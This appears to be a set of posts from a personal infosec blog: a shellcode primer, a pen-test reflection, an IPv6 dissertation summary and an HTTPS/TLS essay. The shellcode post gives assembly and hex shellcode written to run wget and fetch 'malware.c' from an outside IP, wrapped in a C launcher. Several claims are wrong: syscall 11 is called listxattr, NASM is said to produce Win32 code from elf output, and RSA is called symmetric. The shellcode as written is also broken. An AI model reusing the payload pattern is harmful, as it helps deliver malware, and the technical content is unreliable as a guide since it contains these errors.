The Basics of Crafting a Payload

Over the last couple of years I’ve discussed ways of getting malware onto a network, and basically what could be achieved after vulnerabilities are exploited. I haven’t gone into the granular details of how the exploits themselves work, and this is something I must get a handle on, one way or another.
I’ve started by asking ‘What is shellcode’? According to Wikipedia: ‘shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.’

I suppose a classic example of this would be a buffer overflow, the shellcode being what’s carried into the next buffer for execution. For this to happen, there must be a vulnerability, and an exploit must be created to set things up for the shellcode to execute.

Assembler
Assembler coding is something I haven’t touched since my microelectronics days with the Motorola 68000. Disassembling a random sysinternals binary (an example) gives an output that, on the surface, looks almost unintelligible to most of us:

However, it only looks mystifying because it lacks context on its own. Let’s create some context by noting two features of the language:
* Very limited vocabulary. Assembler code is created with only a handful of commands (add, sub, mov, etc.) each representing a circuit within the microprocessor that performs a specific operation with whatever values are passed to it.
* Each memory register (EAX, ECX or whatever) is basically a ‘buffer’ connected physically to something on the microprocessor board, whether it be a memory chip, I/O port, pretty flashing LEDs, etc. etc. It follows that a value passed to a register connected to an I/O port will result in a given output.

Shellcoding for the Linux/x86 Architecture
This principle is best illustrated with shellcode created for a UNIX-based system, as there is a definite set of system calls mapped to specific values in /usr/src/linux/include/asm-i386/unistd.h (for the i386 architecture), and a specific register the values are stored in during runtime (in this case EAX). Meanwhile, the arguments/parameters for a system call are stored in registers EBX, ECX, EDX and several others. I haven’t the slightest idea what the equivalent is for a Windows operating system.
With this in mind, it’s now much easier to understand a segment of code I robbed from the InfoSec Institute’s site:


mov eax, 11
mov edx, 0
mov ebx,cmd
push edx
mov ecx,file
push ecx
push ebx
mov ecx,esp
int 80h


It places value ’11′ in register EAX, which refers to the listxattr() function in /asm-i386/unistd.h (or at least it does on my machine). Next, the code places ‘cmd‘ as an argument in EBX and ‘file‘ in ECX. It then uses the ‘push‘ instruction to cause the function to execute with both ‘cmd‘ and ‘file‘ as arguments. The ‘int 80h‘ causes a system interrupt that switches between the kernel and user spaces.

But Wait! There’s More!
Our shellcode does nothing on its own, as it’s not a binary/executable. The latter must be in a specific format (ELF) in order for a UNIX system to execute it, with a data section and a text section. And just to make things more complicated, the values in our shellcode are mapped to other command arguments in the data section, as my own little malware-fetching example shows:


;/bin/cat /etc/getmalware .data
get db '/bin/wget', 0
file db '192.169.0.100/malware.c'
section .text
global _start
_start:
mov eax, 203
mov edx, 0
mov ebx,get
push edx
mov ecx,file
push ecx
push ebx
mov ecx,esp
int 80h


Getting the Payload to Execute
Another problem is we can’t get the shellcode to execute unless it’s already in a buffer with the system’s instruction pointer pointing at it (which should happen after a buffer overflow). What’s needed is a C program that buffers and executes its opcode.
I’ve used the Netwide Assembler (NASM), which generates the object code for Win32 systems, then used objdump (part of the binutils library) to get the opcodes.

To assemble the code:
$ nasm -f elf Malware-Fetch.asm

To dump the object code:
$ objdump -d Malware-Fetch.o

This gives us some opcodes in the second column of the output, which are reformatted and put into a little C container that should look something like:


char shellcode[] = "\x2f\x62\x69\x6e\x2f\x77\x67\x65\x74\x00\x31\x39\x32"
"\x2e\x31\x36\x39\x2e\x30\x2e\x31\x30\x30\x2f\x6d\x61"
"\x6c\x77\x61\x72\x65\x2e\x63\xb8\xcb\x00\x00\x00\xb8"
"\xcb\x00\x00\x00\xba\x00\x00\x00\x00\xbb\x00\x00\x00"
"\x00\x52\xb9\x0a\x00\x00\x00\x51\x53\x89\xe1\xcd\x80"
;
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}


Pen Testing: Another Learning Curve

In the past I’ve always argued that ‘ethical hacking’ isn’t really hacking as such, because our ‘ethical hacker’ is following a methodology within various contractual and legal constraints, as opposed to exploring a system. I’ve changed my opinion on this somewhat, having recently done a simulated (but proper, notheless) pen test myself, which genuinely was a learning curve from start to finish.

One of the things I learned is that pen testing manuals, and even ‘hacking tools’ alone are pretty useless. Originally I intended to follow an existing methodology by the book, one that’s accepted and recommended among the professionals, but instead ended up having to develop a sound procedure myself through trial-and-error. Networking expertise plays a huge part in this, especially in the case of a ‘black box’ test against an enterprise network where the tester cannot simply use something like Metasploit against random hosts. As it turned out, our exploit was the outcome of a lengthy decision-making process.

A huge amount of research also went into interpreting the vulnerability scan results and producing a report that’s useful, the latter being what a client essentially pays for. Why do the vulnerabilities exist? What exactly should the client do about them? How exactly would a given exploit work, and is it liable to cause damage?

And along the way, I was shown a certain ‘network administration’ technique involving a couple of tools that gave me a taste of what an INFOSEC professional is dealing with in the real world – it hypothetically enabled me to control an hypothetical enterprise network spanning multiple sites, with potentially 9,500 computers and 200 servers, all from one legitimate user account (which itself might have been compromised and used as a ‘pivot’). While it’s not strictly related to the assessment, anyone with knowledge of this could see how a backdoor could be hidden within a network vastly more complex than anything I’ve previously seen, with numerous sequentially-numbered but otherwise identical dormant accounts.

And here it is:

Dissertation’s End

The last two weeks have been a clustersuck of getting the dissertation finished, having to review, edit and rewrite the better pages here and there, hoping the stack of paper will be turned into a couple of decent hardbacks by the deadline. The working title is ‘Secure IPv6 Communications across Multiple Untrusted Networks‘ (comes with state of the art interactive CD-ROM). Considering the huge deal I made over this last year, it should have been much better.

When I first started thinking about the project a while back, the idea was a group of proxy servers with different IP addresses that would change every 24 hours or so, and a software client that would select the first available one. The central problem was how to communicate those proxy addresses to the clients without those addresses becoming known to whoever’s blocking them. The Global Internet Freedom Consortium creates technologies like that.
Things took another direction after coming across that SecuraBit interview with Sam Bowne on IPv6, then The Second Internet (Lawrence Hughes). All the pieces were there for secure communications system even better than what I originally thought up, and so IPv6 became the focus of the project. Somehow those huge address blocks and IPsec tunneling between hosts can be leveraged to defeat both censorship and surveillance. Probably forever.

About half way through, it was becoming apparent the solution is theoretically very simple, and the main component of my system would be a software client – installed on the Internet-enabled devices, it would handle everything from encryption, IPsec, address management and a couple of other things. It also turned out the system could be used for point-to-point (or P2P) communications and multicasting, so the plan shifted somewhat from defeating censorship in the existing client-server Internet. Actually creating a working product is another matter, as I’m not that technically gifted yet. Certainly not gifted enough to develop the GUI in C++.

Essentially what we have is a design and some components for a client application that could be adapted for a range of things – military communications between PDA-equipped units, P2P social networking (the application database supports this), media broadcasting over IPsec to hidden groups, and even government personnel deployed in other countries could host reports on their own devices without adversaries even being aware of it. Sounds like pretty impressive stuff, but it won’t become relevant for another 8-10 years because the routers and everything in between must be IPv6-ready for this to work.

In the end the dissertation amounted to a colossal amount of research on Internet surveillance and traffic filtering (many thanks to the UWN Thesis blog), a fairly detailed methodology for developing and testing the countermeasures, instructions for setting up a fully IPv6-capable carrier routing system, and some of the main components for the software client.

HTTPS, SSL and TLS in General

The last post touched on Pseudo-Random Number Generators, and the ones before that looked at the Data Encryption Standard. There’s also a post somewhere on this blog about RSA, which I’ll probably cover again shortly.
Since I’ve recently done an essay on the (very) basics of HTTPS, I thought it would be a good idea to rehash some of it here, to explain roughly how symmetric and asymmetric encryption work together to encrypt stuff over the Web.

Technical Background
HTTPS involves TCP packet encryption between the Application Layer and the Transport Layer of the OSI reference model, and so it works independently of Internet-enabled applications (usually web browsers). Of course, this would have meant minimal effort on the part of application developers to support this, and this is perhaps how it became more widely used than S-HTTP.

(Edited to add: I think this actually happens before the data is encapsulated as TCP packets.)

When we talk about HTTPS, we’re not referring to a protocol or the encryption methods themselves, but a prefix used in place of the standard HTTP to signal to the browser that a connection should be established through Secure Sockets Layer (SSL) or Transport Layer Security (TLS) to encrypt whatever data the browser sends to the transport layer and TCP sockets.

SSL and TLS in More Detail
SSL and TLS are both very much the same thing. The former was developd by Netscape Communications throughout the 1990s as a proprietary technology, and is almost as old as the World Wide Web. TLS was the successor, based on SSL 3.0, by an open community of developers and defined in RFCs 5246 and 6176.
But there are subtle differences between the two, though. SSL would start a secure connection from the beginning of a request, while TLS will only do so after the HTTPS handshake between the client and server or drop the connection if this isn’t possible. HTTPS/SSL would use a different port to standard HTTP, while HTTPS/TLS wouldn’t. This could make it harder for a packet inspection system to differentiate between an encrypted and unencrypted connection.

Overall, the whole thing is a hybrid encryption scheme consisting of at least two ciphers and a procedure for negotiating which ones the client and server should use. One cipher will be symmetric (usually RSA) and the other asymmetric. There’s a very straightforward reason for this.

The most efficient encryption is symmetric, such as Triple-DES, RC2 or R4, since they work by permutation, substitution and XORing plaintext with key bits instead of factoring vast numbers, and therefore require less computing resources.
Unfortunately the symmetric cipher can’t be used without first sharing the session key over the Internet, which could perhaps be intercepted at any point between the client and server. The obvious solution would be to use asymmetric encryption instead, in which public keys are used to encrypt the data. The problem with this approach is current asymmetric ciphers require far more computing resources as it involves generating and factoring very large numbers.

SSL and TLS solve this by using an asymmetric cipher to communicate a session key before switching to the symmetric encryption system. This means symmetric encryption can be used primarily without the session key itself ever being communicated unencrypted.
It’s after the handshake, key and certificate exchanges that this switch to symmetric encryption is made, so by this point the client and server should have already authenticated each other and negotiated a scheme for communication.

Client/Server Negotiation
The whole process for establishing a secure connection between the client and server can be summarised as:
1. Client checks server’s identity.
2. Server checks client’s identity.
3. Establish the best encryption methods supported at both ends.
4. Generate and exchange asymmetric cipher key.
5. Exchange the (session) key for symmetric cipher using asymmetric encryption.
6. Switch to using symmetric cipher after the key has been safely communicated.

Certificates, Authentication and Trusted Parties
How does the client know it’s communicating with a given server, and not a malicious party? The answer to this is it doesn’t. The best guarantee are the ‘certificates’ exchanged when establishing an HTTPS session.

A client uses the following to confirm the server’s identity.
* Is the current date within the validity period?
* Is the issuing Certification Authority (CA) trusted?
* Does the issuing CA’s public key authenticate the issuer’s signature?
* Do the server and certificate domain names match?

If the answer to any of these is no, the server cannot be authenticated and the browser should display a warning to the user. At this point, the user has the option of rejecting the connection or making a decision based on a closer examination of the certificate. Of course, the user might choose to ignore the warning and proceed.

The major certification authorities, such as Verisign, GeoTrust and GoDaddy, are considered ‘trusted parties’, and issue certificates to be installed in all the main web browsers. The certification authorities are also considered ‘trusted’ because we must rely on their certificates as evidence that server x belongs to organisation y and on z domain. Again, certificates are evidence and not proof of this.

Basically, a domain owner will buy a certificate from one of the trusted certification authorities, and browsers visiting the server at that domain will be able to confirm its certificate is genuine, since both the client and server should recognise.

If a certificate was self-signed, which should theoretically be the case if the domain owner’s being impersonated, the browser will warn the user that the certificate is invalid.

HTTPS and Defence in Depth
In terms of Defence-in-Depth and network defence, communications encryption is something of a double-edged sword, especially in relation to corporate networks. The network administrator might want to protect the organisation’s data while preventing malicious traffic passing through firewalls and Intrusion Detection Systems (IDS) encrypted.

HTTPS and communications encryption in general should be considered only one component of a Defence-in-Depth scheme. It’s also a difficult problem to solve, as the same measures can also be used by malware and internal threats to export sensitive information to another server outside the network.

HTTPS doesn’t provide security on its own. It only ensures a connection between two points is secure, and could be defeated using one of two methods:
* It’s possible for a third-party to impersonate both sender and receiver, by placing a server that intercepts and relays the data. Both the sender and receiver would still be communicating over secure connections, but the connections would be to the attacker.
* Malware could be used to exfiltrate the data from a target before it’s sent over the secure connection.

Moral and Political Stuff
I had to include something in the essay about the moral and political side of encrypting Internet communications.
Online criminals typically operate by exploiting security flaws, and do so mainly to prevent their actions being attributable to them. For example, an unsecured wireless gateway can enable the criminal to act under another party’s IP address. Credit card information, stolen with the use of remote access malware, enables the purchasing of illegal material with the victim’s identity.
Often this can be broken down into two issues: confidentiality and non-repudiation/attribution.

So, I’ve always argued that promoting encryption and improvements in personal security would actually do more to prevent crime than facilitate it. There would be fewer security flaws for criminals to exploit, and it becomes harder to attribute crimes to anyone other than the criminal.

As for the political implications, the most obvious is that encryption empowers citizens while limiting the power of their governments, and it’s quite likely governments would legislate against the use of encryption if e-commerce (and by implication the wider economy) wasn’t so reliant on it. Lacking this option, some governments have resorted to finding ways around this.

The German government has been known to use remote access malware, to monitor the activities of suspected criminals, the most well-known being the Bundestrojaner. Among other things, this exfiltrates data from their laptops before it’s sent out over encrypted connections, in particular Skype calls.
Of course, the discovery of this malware on a suspect’s computer might be enough to undermine the prosecution’s case, and this argument was within the scope of my essay because a sufficient degree of non-repudiation and attribution is required to deter online criminals.

Around the same time, DigiNotar, one of the major certificate authorities, was breached and this resulted in fake SSL certificates being used to conduct Man-in-the-Middle attacks against people accessing Google, Yahoo and other email services in Iran. This might well have led to political dissidents, who may well have been under the impression they were communicating in relative safety, being discovered by the authorities.

Not only do these cases show communications security can be a matter of life and death, they highlight the false impression of security some users can have.

Sources
ARTHUR, C. 2011. The Guardian: Rogue web certificate could have been used to attack Iran dissidents. [WWW]. http://www.guardian.co.uk/technology/2011/aug/30/faked-web-certificate-iran-dissidents. (10th April 2013).

CLULEY, G. 2011. Sophos: German ‘Government’ R2D2 Trojan FAQ. [WWW]. http://nakedsecurity.sophos.com/2011/10/10/german-government-r2d2-trojan-faq/. (10th April 2013).

DIERKS, T. A. 1999. Internet Engineering Task Force: Request for Comments (RFC) 2246.
The TLS Protocol, Version 1.0. [RFC]. http://www.ietf.org/rfc/rfc2246.txt. (12th April 2013).

FRIER, A. KARLTON, P. KOCHER, P. 2011. Internet Engineering Task Force: Request for Comments (RFC) 6101. The Secure Sockets Layer (SSL) Protocol Version 3.0. [RFC]. http://tools.ietf.org/html/rfc6101. (12th April 2013).

KANGAS, E. 2008. LuxSci FYI Blog: SSL versus TLS. [WWW]. http://luxsci.com/blog/ssl-versus-tls-whats-the-difference.html. (9th April 2013).

MOZILLA FOUNDATION. 2005. Mozilla Developer Network: Introduction to SSL. [WWW]. https://developer.mozilla.org/en-US/docs/Introduction_to_SSL. (8th April 2013).